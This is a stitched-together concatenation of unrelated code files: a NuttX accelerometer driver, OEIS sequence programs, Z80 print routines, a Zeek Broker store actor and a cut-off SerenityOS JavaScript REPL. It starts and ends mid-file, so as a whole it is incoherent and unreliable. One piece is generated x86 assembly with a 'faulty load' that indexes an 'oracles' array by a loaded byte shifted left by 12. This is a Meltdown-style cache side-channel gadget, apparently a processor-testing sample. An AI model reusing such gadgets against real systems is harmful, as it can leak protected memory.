(INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************/ /**************************************************************************** * Included Files ****************************************************************************/ #include <nuttx/config.h> #include <stdio.h> #include <string.h> #include <sys/ioctl.h> #include <stdlib.h> #include <fcntl.h> #include <nuttx/sensors/bmi160.h> #include "accel_sensor.h" /**************************************************************************** * Pre-processor Definitions ****************************************************************************/ /* For physical sensor. */ #define STEP_COUNTER_ACCEL_DEVNAME "/dev/accel0" #ifndef CONFIG_EXAMPLES_SENSOR_STEP_COUNTER_ACCEL_WM_SIGNO # define CONFIG_EXAMPLES_SENSOR_STEP_COUNTER_ACCEL_WM_SIGNO 14 #endif /* For error */ #define err(format, ...) fprintf(stderr, format, ##__VA_ARGS__) /**************************************************************************** * Private Types ****************************************************************************/ /**************************************************************************** * Private Data ****************************************************************************/ /**************************************************************************** * Private Functions ****************************************************************************/ static FAR void *accel_sensor_entry(pthread_addr_t arg) { static int s_sensor_entry_result = PHYSICAL_SENSOR_ERR_CODE_OK; FAR physical_sensor_t *sensor = reinterpret_cast<FAR physical_sensor_t *>(arg); /* Create instanse of AccelSensorClass. */ AccelSensorClass *instance = new AccelSensorClass(sensor); /* Set sensor signal number. */ instance->add_signal(CONFIG_EXAMPLES_SENSOR_STEP_COUNTER_ACCEL_WM_SIGNO); /* Start accel sensor process. */ instance->run(); /* Delete sensor signal number. */ instance->delete_signal(CONFIG_EXAMPLES_SENSOR_STEP_COUNTER_ACCEL_WM_SIGNO); /* Free instance of AccelSensorClass. */ free(instance); return (void *)&s_sensor_entry_result; } /**************************************************************************** * Public Functions ****************************************************************************/ FAR physical_sensor_t *AccelSensorCreate(pysical_event_handler_t handler) { return PhysicalSensorCreate(handler, (void *)accel_sensor_entry, "accel_sensor"); } /*--------------------------------------------------------------------------*/ int AccelSensorOpen(FAR physical_sensor_t *sensor) { return PhysicalSensorOpen(sensor, NULL); } /*--------------------------------------------------------------------------*/ int AccelSensorStart(FAR physical_sensor_t *sensor) { return PhysicalSensorStart(sensor); } /*--------------------------------------------------------------------------*/ int AccelSensorStop(FAR physical_sensor_t *sensor) { return PhysicalSensorStop(sensor); } /*--------------------------------------------------------------------------*/ int AccelSensorClose(FAR physical_sensor_t *sensor) { return PhysicalSensorClose(sensor); } /*--------------------------------------------------------------------------*/ int AccelSensorDestroy(FAR physical_sensor_t *sensor) { return PhysicalSensorDestroy(sensor); } /**************************************************************************** * AccelSensorClass ****************************************************************************/ int AccelSensorClass::open_sensor() { m_fd = open(STEP_COUNTER_ACCEL_DEVNAME, O_RDONLY); if (m_fd <= 0) { return -1; } return 0; } /*--------------------------------------------------------------------------*/ int AccelSensorClass::close_sensor() { return close(m_fd); } /*--------------------------------------------------------------------------*/ int AccelSensorClass::start_sensor() { return ioctl(m_fd, SCUIOC_START, 0); } /*--------------------------------------------------------------------------*/ int AccelSensorClass::stop_sensor() { return ioctl(m_fd, SCUIOC_STOP, 0); } /*--------------------------------------------------------------------------*/ int AccelSensorClass::setup_sensor(FAR void *param) { return 0; } /*--------------------------------------------------------------------------*/ int AccelSensorClass::setup_scu(FAR void *param) { /* Free FIFO. */ int ret = ioctl(m_fd, SCUIOC_FREEFIFO, 0); if (ret < 0) { err("Accel free FIFO error %d\n", ret); return ret; } /* Set FIFO size. */ ret = ioctl(m_fd, SCUIOC_SETFIFO, sizeof(struct accel_t) * ACCEL_WATERMARK_NUM * 2); if (ret < 0) { err("Accel set FIFO size error %d\n", ret); return ret; } /* Set sequencer sampling rate 32Hz * (if config CXD56_SCU_PREDIV = 64) * 32768 / 64 / (2 ^ 4) = 32 */ ret = ioctl(m_fd, SCUIOC_SETSAMPLE, 4); if (ret < 0) { err("Accel set sequencer sampling rate error %d\n", ret); return ret; } /* Set water mark */ struct scufifo_wm_s wm; wm.signo = CONFIG_EXAMPLES_SENSOR_STEP_COUNTER_ACCEL_WM_SIGNO; wm.ts = &m_wm_ts; wm.watermark = ACCEL_WATERMARK_NUM; ret = ioctl(m_fd, SCUIOC_SETWATERMARK, static_cast<unsigned long>((uintptr_t)&wm)); if (ret < 0) { err("Accel set water mark error %d\n", ret); return ret; } return 0; } /*--------------------------------------------------------------------------*/ int AccelSensorClass::receive_signal(int sig_no, FAR siginfo_t *sig_info) { int ret = -1; switch (sig_no) { case CONFIG_EXAMPLES_SENSOR_STEP_COUNTER_ACCEL_WM_SIGNO: { ret = receive_scu_wm_ev(); } break; default: break; } return ret; } /*--------------------------------------------------------------------------*/ int AccelSensorClass::receive_scu_wm_ev() { MemMgrLite::MemHandle mh_dst; MemMgrLite::MemHandle mh_src; FAR char *p_src; FAR char *p_dst; /* Get segment of memory handle. */ if (ERR_OK != mh_src.allocSeg( S0_ACCEL_DATA_BUF_POOL, (sizeof(struct accel_t) * ACCEL_WATERMARK_NUM))) { /* Fatal error occured. */ err("Fail to allocate segment of memory handle.\n"); ASSERT(0); } p_src = reinterpret_cast<char *>(mh_src.getPa()); if (ERR_OK != mh_dst.allocSeg( S0_ACCEL_DATA_BUF_POOL, (sizeof(accel_float_t) * ACCEL_WATERMARK_NUM))) { /* Fatal error occured. */ err("Fail to allocate segment of memory handle.\n"); ASSERT(0); } p_dst = reinterpret_cast<char *>(mh_dst.getPa()); /* Read accelerometer data from driver. */ read(m_fd, p_src, sizeof(struct accel_t) * ACCEL_WATERMARK_NUM); this->convert_data(reinterpret_cast<FAR struct accel_t *>(p_src), reinterpret_cast<FAR accel_float_t *>(p_dst), ACCEL_WATERMARK_NUM); /* Notify accelerometer data to sensor manager. */ this->notify_data(mh_dst); /* Free segment. */ mh_src.freeSeg(); mh_dst.freeSeg(); return 0; } /*--------------------------------------------------------------------------*/ void AccelSensorClass::convert_data(FAR accel_t *p_src, FAR accel_float_t *p_dst, int sample_num) { for (int i = 0; i < sample_num; i++, p_src++, p_dst++) { p_dst->x = (float)p_src->x * 2 / 32768; p_dst->y = (float)p_src->y * 2 / 32768; p_dst->z = (float)p_src->z * 2 / 32768; } } /*--------------------------------------------------------------------------*/ int AccelSensorClass::notify_data(MemMgrLite::MemHandle &mh_dst) { uint32_t timestamp = get_timestamp(); return m_handler(0, timestamp, mh_dst); };
; A309337: a(n) = n^3 if n odd, 3*n^3/4 if n even. ; 0,1,6,27,48,125,162,343,384,729,750,1331,1296,2197,2058,3375,3072,4913,4374,6859,6000,9261,7986,12167,10368,15625,13182,19683,16464,24389,20250,29791,24576,35937,29478,42875,34992,50653,41154,59319,48000,68921,55566,79507,63888,91125,73002,103823,82944,117649,93750,132651,105456,148877,118098,166375,131712,185193,146334,205379,162000,226981,178746,250047,196608,274625,215622,300763,235824,328509,257250,357911,279936,389017,303918,421875,329232,456533,355914,493039,384000,531441,413526,571787 pow $0,3 mov $1,$0 dif $0,2 add $0,$1 div $0,2
; A040216: Continued fraction for sqrt(232). ; Submitted by Christian Krause ; 15,4,3,7,3,4,30,4,3,7,3,4,30,4,3,7,3,4,30,4,3,7,3,4,30,4,3,7,3,4,30,4,3,7,3,4,30,4,3,7,3,4,30,4,3,7,3,4,30,4,3,7,3,4,30,4,3,7,3,4,30,4,3,7,3,4,30,4,3,7,3,4,30,4,3,7,3,4,30,4,3,7,3,4,30,4,3 seq $0,10124 ; Continued fraction for sqrt(19). seq $0,141912 ; Primes congruent to 8 mod 23. sub $0,307 div $0,46 add $0,3
; ;======================================================================= ; HDIAG Utility Functions ;======================================================================= ; ; Print string at HL on console, null terminated. ; HL and AF are trashed. ; prtstr: ld a,(hl) ; get next character or a ; set flags inc hl ; bump pointer regardless ret z ; done if null call cout ; display character jr prtstr ; loop till done ; ; Print a string from a lookup table pointed to by HL, index A ; with a prefix string at DE. HL, DE, and A are trashed. ; prtstrtbl: push af ex de,hl call prtstr ex de,hl pop af rlca call addhla ld a,(hl) inc hl ld h,(hl) ld l,a call prtstr ret ; ; Print the hex byte value in A ; prthex8: push af push de call hexascii ld a,d call cout ld a,e call cout pop de pop af ret ; ; Print the hex word value in BC ; prthex16: push af ld a,b call prthex8 ld a,c call prthex8 pop af ret ; ; Print the hex dword value in DE:HL ; prthex32: push bc push de pop bc call prthex16 push hl pop bc call prthex16 pop bc ret ; ; Convert binary value in A to ASCII hex characters in DE ; hexascii: ld d,a call hexconv ld e,a ld a,d rlca rlca rlca rlca call hexconv ld d,a ret ; ; Convert low nibble of A to ASCII hex ; hexconv: and $0F ; low nibble only add a,$90 daa adc a,$40 daa ret ; ; Jump to address in HL/IX/IY ; ; No registers affected ; Typically used as "call jphl" to call a routine ; at address in HL register. ; jphl: jp (hl) ; jpix: jp (ix) ; jpiy: jp (iy) ; ; Add hl,a ; ; A register is destroyed! ; addhla: add a,l ld l,a ret nc inc h ret
; A100215: Expansion of (4 - 7*x + 2*x^2)/((1-2*x)*(1 - 2*x + 2*x^2)). ; Submitted by Simon Strandgaard ; 4,9,14,18,24,44,104,248,544,1104,2144,4128,8064,16064,32384,65408,131584,263424,525824,1049088,2095104,4189184,8382464,16775168,33562624,67129344,134242304,268443648,536838144,1073659904,2147385344,4294934528,8590065664,17180196864,34360131584,68719607808,137438429184,274876596224,549754241024,1099511103488,2199025352704,4398051753984,8796099313664,17592188141568,35184363700224,70368723206144,140737463189504,281474968322048,562949986975744,1125899990728704,2251799914348544,4503599660924928 mov $2,3 lpb $0 sub $0,1 add $2,2 add $3,$2 mul $2,2 sub $3,1 add $4,1 mul $4,2 add $2,$4 sub $2,$3 lpe mov $0,$2 add $0,1
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r14 push %r8 push %r9 push %rbx push %rdx lea addresses_D_ht+0x1eeb0, %r14 nop nop nop nop nop inc %r10 movb (%r14), %r13b nop nop inc %r13 lea addresses_normal_ht+0x3f06, %rdx nop nop nop nop add $22113, %r9 and $0xffffffffffffffc0, %rdx vmovaps (%rdx), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $1, %xmm0, %r8 nop nop nop dec %r14 lea addresses_UC_ht+0x1c440, %r10 clflush (%r10) nop nop xor %rbx, %rbx movl $0x61626364, (%r10) nop nop nop nop sub %rdx, %rdx lea addresses_A_ht+0x9d80, %r10 nop nop nop nop and $35576, %r8 mov (%r10), %r9d nop nop cmp $24239, %r8 pop %rdx pop %rbx pop %r9 pop %r8 pop %r14 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r15 push %rax push %rbp push %rbx push %rcx // Store lea addresses_normal+0x13420, %r15 add %rcx, %rcx movl $0x51525354, (%r15) nop nop inc %rbp // Faulty Load mov $0x340, %r15 nop cmp $6454, %rax mov (%r15), %r14 lea oracles, %r15 and $0xff, %r14 shlq $12, %r14 mov (%r15,%r14,1), %r14 pop %rcx pop %rbx pop %rbp pop %rax pop %r15 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': True, 'congruent': 0, 'size': 32, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 8, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}} {'00': 1} 00 */
; A164583: a(n)=4^n*(2n + 1)^2. ; 1,36,400,3136,20736,123904,692224,3686400,18939904,94633984,462422016,2218786816,10485760000,48922361856,225754218496,1031865892864,4677219385344,21045339750400,94076963651584,418089296461824 mov $1,$0 mul $1,2 add $1,1 mov $2,2 pow $2,$0 mul $1,$2 pow $1,2
; A133280: Triangle formed by: 1 even, 2 odd, 3 even, 4 odd, ... starting with zero. ; 0,1,3,4,6,8,9,11,13,15,16,18,20,22,24,25,27,29,31,33,35,36,38,40,42,44,46,48,49,51,53,55,57,59,61,63,64,66,68,70,72,74,76,78,80,81,83,85,87,89,91,93,95,97,99,100,102,104,106,108,110,112,114,116,118,120,121,123,125,127,129,131,133,135,137,139,141,143,144,146,148,150,152,154,156,158,160,162,164,166,168,169,171,173,175,177,179,181,183,185,187,189,191,193,195,196,198,200,202,204,206,208,210,212,214,216,218,220,222,224,225,227,229,231,233,235,237,239,241,243,245,247,249,251,253,255,256,258,260,262,264,266,268,270,272,274,276,278,280,282,284,286,288,289,291,293,295,297,299,301,303,305,307,309,311,313,315,317,319,321,323,324,326,328,330,332,334,336,338,340,342,344,346,348,350,352,354,356,358,360,361,363,365,367,369,371,373,375,377,379,381,383,385,387,389,391,393,395,397,399,400,402,404,406,408,410,412,414,416,418,420,422,424,426,428,430,432,434,436,438,440,441,443,445,447,449,451,453,455,457,459,461,463,465,467,469,471,473,475,477 mul $0,2 mov $1,$0 lpb $0,1 sub $0,2 add $2,2 trn $0,$2 sub $1,1 lpe
#include "broker/logger.hh" // Needs to come before CAF includes. #include <caf/event_based_actor.hpp> #include <caf/actor.hpp> #include <caf/make_message.hpp> #include <caf/sum_type.hpp> #include <caf/behavior.hpp> #include <caf/stateful_actor.hpp> #include <caf/system_messages.hpp> #include <caf/unit.hpp> #include <caf/error.hpp> #include "broker/atoms.hh" #include "broker/convert.hh" #include "broker/data.hh" #include "broker/store.hh" #include "broker/time.hh" #include "broker/topic.hh" #include "broker/detail/abstract_backend.hh" #include "broker/detail/die.hh" #include "broker/detail/master_actor.hh" namespace broker { namespace detail { static inline optional<timestamp> to_opt_timestamp(timestamp ts, optional<timespan> span) { return span ? ts + *span : optional<timestamp>(); } const char* master_state::name = "master_actor"; master_state::master_state() : self(nullptr), clock(nullptr) { // nop } void master_state::init(caf::event_based_actor* ptr, std::string&& nm, backend_pointer&& bp, caf::actor&& parent, endpoint::clock* ep_clock) { BROKER_ASSERT(ep_clock != nullptr); self = ptr; id = std::move(nm); clones_topic = id / topics::clone_suffix; backend = std::move(bp); core = std::move(parent); clock = ep_clock; auto es = backend->expiries(); if (!es) die("failed to get master expiries while initializing"); for (auto& e : *es) { auto& key = e.first; auto& expire_time = e.second; auto n = clock->now(); auto dur = expire_time - n; auto msg = caf::make_message(atom::expire::value, std::move(key)); clock->send_later(self, dur, std::move(msg)); } } void master_state::broadcast(internal_command&& x) { self->send(core, atom::publish::value, make_command_message(clones_topic, std::move(x))); } void master_state::remind(timespan expiry, const data& key) { auto msg = caf::make_message(atom::expire::value, key); clock->send_later(self, expiry, std::move(msg)); } void master_state::expire(data& key) { BROKER_INFO("EXPIRE" << key); auto result = backend->expire(key, clock->now()); if (!result) BROKER_ERROR("failed to expire key:" << to_string(result.error())); else if (!*result) BROKER_WARNING("ignoring stale expiration reminder"); else { broadcast_cmd_to_clones(erase_command{std::move(key)}); } } void master_state::command(internal_command& cmd) { command(cmd.content); } void master_state::command(internal_command::variant_type& cmd) { caf::visit(*this, cmd); } void master_state::operator()(none) { BROKER_INFO("received empty command"); } void master_state::operator()(put_command& x) { BROKER_INFO("PUT" << x.key << "->" << x.value << "with expiry" << (x.expiry ? to_string(*x.expiry) : "none")); auto et = to_opt_timestamp(clock->now(), x.expiry); auto result = backend->put(x.key, x.value, et); if (!result) { BROKER_WARNING("failed to put" << x.key << "->" << x.value); return; // TODO: propagate failure? to all clones? as status msg? } if (x.expiry) remind(*x.expiry, x.key); broadcast_cmd_to_clones(std::move(x)); } void master_state::operator()(put_unique_command& x) { BROKER_INFO("PUT_UNIQUE" << x.key << "->" << x.value << "with expiry" << (x.expiry ? to_string(*x.expiry) : "none")); auto exists_result = backend->exists(x.key); if (!exists_result) { BROKER_WARNING("failed to put_unique existence check" << x.key << "->" << x.value); return; // TODO: propagate failure? to all clones? as status msg? } if (*exists_result) { // Note that we don't bother broadcasting this operation to clones since // no change took place. self->send(x.who, caf::make_message(data{false}, x.req_id)); return; } self->send(x.who, caf::make_message(data{true}, x.req_id)); auto et = to_opt_timestamp(clock->now(), x.expiry); auto result = backend->put(x.key, x.value, et); if (!result) { BROKER_WARNING("failed to put_unique" << x.key << "->" << x.value); return; // TODO: propagate failure? to all clones? as status msg? } if (x.expiry) remind(*x.expiry, x.key); // Note that we could just broadcast a regular "put" command here instead // since clones shouldn't have to do their own existence check. broadcast_cmd_to_clones(std::move(x)); } void master_state::operator()(erase_command& x) { BROKER_INFO("ERASE" << x.key); auto result = backend->erase(x.key); if (!result) { BROKER_WARNING("failed to erase" << x.key); return; // TODO: propagate failure? to all clones? as status msg? } broadcast_cmd_to_clones(std::move(x)); } void master_state::operator()(add_command& x) { BROKER_INFO("ADD" << x); auto et = to_opt_timestamp(clock->now(), x.expiry); auto result = backend->add(x.key, x.value, x.init_type, et); if (!result) { BROKER_WARNING("failed to add" << x.value << "to" << x.key); return; // TODO: propagate failure? to all clones? as status msg? } if (x.expiry) remind(*x.expiry, x.key); broadcast_cmd_to_clones(std::move(x)); } void master_state::operator()(subtract_command& x) { BROKER_INFO("SUBTRACT" << x); auto et = to_opt_timestamp(clock->now(), x.expiry); auto result = backend->subtract(x.key, x.value, et); if (!result) { BROKER_WARNING("failed to substract" << x.value << "from" << x.key); return; // TODO: propagate failure? to all clones? as status msg? } if (x.expiry) remind(*x.expiry, x.key); broadcast_cmd_to_clones(std::move(x)); } void master_state::operator()(snapshot_command& x) { BROKER_INFO("SNAPSHOT from" << to_string(x.remote_core)); if (x.remote_core == nullptr || x.remote_clone == nullptr) { BROKER_INFO("snapshot command with invalid address received"); return; } auto ss = backend->snapshot(); if (!ss) die("failed to snapshot master"); self->monitor(x.remote_core); clones.emplace(x.remote_core->address(), x.remote_clone); // The snapshot gets sent over a different channel than updates, // so we send a "sync" point over the update channel that target clone // can use in order to apply any updates that arrived before it // received the now-outdated snapshot. broadcast_cmd_to_clones(snapshot_sync_command{x.remote_clone}); // TODO: possible improvements to do here // (1) Use a separate *streaming* channel to send the snapshot. // A benefit of that would potentially be less latent queries // that go directly against the master store. // (2) Always keep an updated snapshot in memory on the master to // avoid numerous expensive retrievals from persistent backends // in quick succession (e.g. at startup). // (3) As an alternative to (2), give backends an API to stream // key-value pairs without ever needing the full snapshot in // memory. Note that this would require halting the application // of updates on the master while there are any snapshot streams // still underway. self->send(x.remote_clone, set_command{std::move(*ss)}); } void master_state::operator()(snapshot_sync_command&) { BROKER_ERROR("received a snapshot_sync_command in master actor"); } void master_state::operator()(set_command& x) { BROKER_ERROR("received a set_command in master actor"); } void master_state::operator()(clear_command& x) { BROKER_INFO("CLEAR" << x); auto res = backend->clear(); if (!res) die("failed to clear master"); broadcast_cmd_to_clones(std::move(x)); } caf::behavior master_actor(caf::stateful_actor<master_state>* self, caf::actor core, std::string id, master_state::backend_pointer backend, endpoint::clock* clock) { self->monitor(core); self->state.init(self, std::move(id), std::move(backend), std::move(core), clock); self->set_down_handler( [=](const caf::down_msg& msg) { if (msg.source == core) { BROKER_INFO("core is down, kill master as well"); self->quit(msg.reason); } else { BROKER_INFO("lost a clone"); self->state.clones.erase(msg.source); } } ); return { // --- local communication ------------------------------------------------- [=](atom::local, internal_command& x) { // treat locally and remotely received commands in the same way self->state.command(x); }, [=](atom::sync_point, caf::actor& who) { self->send(who, atom::sync_point::value); }, [=](atom::expire, data& key) { self->state.expire(key); }, [=](atom::get, atom::keys) -> expected<data> { auto x = self->state.backend->keys(); BROKER_INFO("KEYS ->" << x); return x; }, [=](atom::get, atom::keys, request_id id) { auto x = self->state.backend->keys(); BROKER_INFO("KEYS" << "with id:" << id << "->" << x); if (x) return caf::make_message(std::move(*x), id); return caf::make_message(std::move(x.error()), id); }, [=](atom::exists, const data& key) -> expected<data> { auto x = self->state.backend->exists(key); BROKER_INFO("EXISTS" << key << "->" << x); return {data{std::move(*x)}}; }, [=](atom::exists, const data& key, request_id id) { auto x = self->state.backend->exists(key); BROKER_INFO("EXISTS" << key << "with id:" << id << "->" << x); return caf::make_message(data{std::move(*x)}, id); }, [=](atom::get, const data& key) -> expected<data> { auto x = self->state.backend->get(key); BROKER_INFO("GET" << key << "->" << x); return x; }, [=](atom::get, const data& key, const data& aspect) -> expected<data> { auto x = self->state.backend->get(key, aspect); BROKER_INFO("GET" << key << aspect << "->" << x); return x; }, [=](atom::get, const data& key, request_id id) { auto x = self->state.backend->get(key); BROKER_INFO("GET" << key << "with id:" << id << "->" << x); if (x) return caf::make_message(std::move(*x), id); return caf::make_message(std::move(x.error()), id); }, [=](atom::get, const data& key, const data& value, request_id id) { auto x = self->state.backend->get(key, value); BROKER_INFO("GET" << key << "->" << value << "with id:" << id << "->" << x); if (x) return caf::make_message(std::move(*x), id); return caf::make_message(std::move(x.error()), id); }, [=](atom::get, atom::name) { return self->state.id; }, // --- stream handshake with core ------------------------------------------ [=](const store::stream_type& in) { BROKER_DEBUG("received stream handshake from core"); self->make_sink( // input stream in, // initialize state [](caf::unit_t&) { // nop }, // processing step [=](caf::unit_t&, store::stream_type::value_type y) { // TODO: our operator() overloads require mutable references, but // only a fraction actually benefit from it. auto cmd = move_command(y); self->state.command(cmd); }, // cleanup [](caf::unit_t&, const caf::error&) { // nop } ); } }; } } // namespace detail } // namespace broker
/* * Copyright (c) 2020, Andreas Kling <kling@serenityos.org> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <AK/ByteBuffer.h> #include <AK/NonnullOwnPtr.h> #include <AK/StringBuilder.h> #include <LibCore/ArgsParser.h> #include <LibCore/File.h> #include <LibJS/AST.h> #include <LibJS/Interpreter.h> #include <LibJS/Parser.h> #include <LibJS/Runtime/Array.h> #include <LibJS/Runtime/Date.h> #include <LibJS/Runtime/Error.h> #include <LibJS/Runtime/Function.h> #include <LibJS/Runtime/GlobalObject.h> #include <LibJS/Runtime/Object.h> #include <LibJS/Runtime/PrimitiveString.h> #include <LibJS/Runtime/Shape.h> #include <LibJS/Runtime/Value.h> #include <LibLine/Editor.h> #include <signal.h> #include <stdio.h> Vector<String> repl_statements; class ReplObject : public JS::GlobalObject { public: ReplObject(); virtual void initialize() override; virtual ~ReplObject() override; static JS::Value load_file(JS::Interpreter&); private: virtual const char* class_name() const override { return "ReplObject"; } static JS::Value exit_interpreter(JS::Interpreter&); static JS::Value repl_help(JS::Interpreter&); static JS::Value save_to_file(JS::Interpreter&); }; bool dump_ast = false; bool print_last_result = false; static OwnPtr<Line::Editor> editor; static int repl_line_level = 0; static String prompt_for_level(int level) { static StringBuilder prompt_builder; prompt_builder.clear(); prompt_builder.append("> "); for (auto i = 0; i < level; ++i) prompt_builder.append(" "); return prompt_builder.build(); } String read_next_piece() { StringBuilder piece; do { String line = editor->get_line(prompt_for_level(repl_line_level)); editor->add_to_history(line); piece.append(line); auto lexer = JS::Lexer(line); for (JS::Token token = lexer.next(); token.type() != JS::TokenType::Eof; token = lexer.next()) { switch (token.type()) { case JS::TokenType::BracketOpen: case JS::TokenType::CurlyOpen: case JS::TokenType::ParenOpen: repl_line_level++; break; case JS::TokenType::BracketClose: case JS::TokenType::CurlyClose: case JS::TokenType::ParenClose: repl_line_level--; break; default: break; } } } while (repl_line_level > 0); return piece.to_string(); } static void print_value(JS::Value value, HashTable<JS::Object*>& seen_objects); static void print_array(const JS::Array& array, HashTable<JS::Object*>& seen_objects) { fputs("[ ", stdout); for (size_t i = 0; i < array.elements().size(); ++i) { print_value(array.elements()[i], seen_objects); if (i != array.elements().size() - 1) fputs(", ", stdout); } fputs(" ]", stdout); } static void print_object(const JS::Object& object, HashTable<JS::Object*>& seen_objects) { fputs("{ ", stdout); for (size_t i = 0; i < object.elements().size(); ++i) { if (object.elements()[i].is_empty()) continue; printf("\"\033[33;1m%zu\033[0m\": ", i); print_value(object.elements()[i], seen_objects); if (i != object.elements().size() - 1) fputs(", ", stdout); } if (!object.elements().is_empty() && object.shape().property_count()) fputs(", ", stdout); size_t index = 0; for (auto& it : object.shape().property_table()) { printf("\"\033[33;1m%s\033[0m\": ", it.key.characters()); print_value(object.get_direct(it.value.offset), seen_objects); if (index != object.shape().property_count() - 1) fputs(", ", stdout); ++index; } fputs(" }", stdout); } static void print_function(const JS::Object& function, HashTable<JS::Object*>&) { printf("\033[34;1m[%s]\033[0m", function.class_name()); } static void print_date(const JS::Object& date, HashTable<JS::Object*>&) { printf("\033[34;1mDate %s\033[0m", static_cast<const JS::Date&>(date).string().characters()); } static void print_error(const JS::Object& object, HashTable<JS::Object*>&) { auto& error = static_cast<const JS::Error&>(object); printf("\033[34;1m[%s]\033[0m", error.name().characters()); if (!error.message().is_empty()) printf(": %s", error.message().characters()); } void print_value(JS::Value value, HashTable<JS::Object*>& seen_objects) { if (value.is_empty()) { printf("\033[34;1m<empty>\033[0m"); return; } if (value.is_object()) { if (seen_objects.contains(&value.as_object())) { // FIXME: Maybe we should only do this for circular references, // not for all reoccurring objects. printf("<already printed Object %p>", &value.as_object()); return; } seen_objects.set(&value.as_object()); } if (value.is_array()) return print_array(static_cast<const JS::Array&>(value.as_object()), seen_objects); if (value.is_object()) { auto& object = value.as_object(); if (object.is_function()) return print_function(object, seen_objects); if (object.is_date()) return print_date(object, seen_objects); if (object.is_error()) return print_error(object, seen_objects); return print_object(object, seen_objects); } if (value.is_string()) printf("\033[32;1m"); else if (value.is_number()) printf("\033[35;1m"); else if (value.is_boolean()) printf("\033[33;1m"); else if (value.is_null()) printf("\033[33;1m"); else if (value.is_undefined()) printf("\033[34;1m"); if (value.is_string()) putchar('"'); printf("%s", value.to_string().characters()); if (value.is_string()) putchar('"'); printf("\033[0m"); } static void print(JS::Value value) { HashTable<JS::Object*> seen_objects; print_value(value, seen_objects); putchar('\n'); } bool file_has_shebang(AK::ByteBuffer file_contents) { if (file_contents.size() >= 2 && file_contents[0] == '#' && file_contents[1] == '!') return true; return false; } StringView strip_shebang(AK::ByteBuffer file_contents) { size_t i = 0; for (i = 2; i < file_contents.size(); ++i) { if (file_contents[i] == '\n') break; } return StringView((const char*)file_contents.data() + i, file_contents.size() - i); } bool write_to_file(const StringView& path) { int fd = open_with_path_length(path.characters_without_null_termination(), path.length(), O_WRONLY | O_CREAT | O_TRUNC, 0666); for (size_t i = 0; i < repl_statements.size(); i++) { auto line = repl_statements[i]; if (line.length() && i != repl_statements.size() - 1) { ssize_t nwritten = write(fd, line.characters(), line.length()); if (nwritten < 0) { close(fd); return false; } } if (i != repl_statements.size() - 1) { char ch = '\n'; ssize_t nwritten = write(fd, &ch, 1); if (nwritten != 1) { perror("write"); close(fd); return false; } } } close(fd); return true; } ReplObject::ReplObject() { } void ReplObject::initialize() { GlobalObject::initialize(); put_native_function("exit", exit_interpreter); put_native_function("help", repl_help); put_native_function("load", load_file, 1); put_native_function("save", save_to_file, 1); } ReplObject::~ReplObject() { } JS::Value ReplObject::save_to_file(JS::Interpreter& interpreter) { if (!interpreter.argument_count()) return JS::Value(false); String save_path = interpreter.argument(0).to_string(); StringView path = StringView(save_path.characters()); if (write_to_file(path)) { return JS::Value(true); } return JS::Value(false); } JS::Value ReplObject::exit_interpreter(JS::Interpreter& interpreter) { if (!interpreter.argument_count()) exit(0); int exit_code = interpreter.argument(0).to_number().as_double(); exit(exit_code); return JS::js_undefined(); } JS::Value ReplObject::repl_help(JS::Interpreter&) { printf("REPL commands:\n"); printf(" exit(code): exit the REPL with specified code. Defaults to 0.\n"); printf(" help(): display this menu\n"); printf(" load(files): Accepts file names as params to load into running session. For example load(\"js/1.js\", \"js/2.js\", \"js/3.js\")\n"); return JS::js_undefined(); } JS::Value ReplObject::load_file(JS::Interpreter& interpreter) { if (!interpreter.argument_count()) return JS::Value(false); for (auto& file : interpreter.call_frame().arguments) { String file_name = 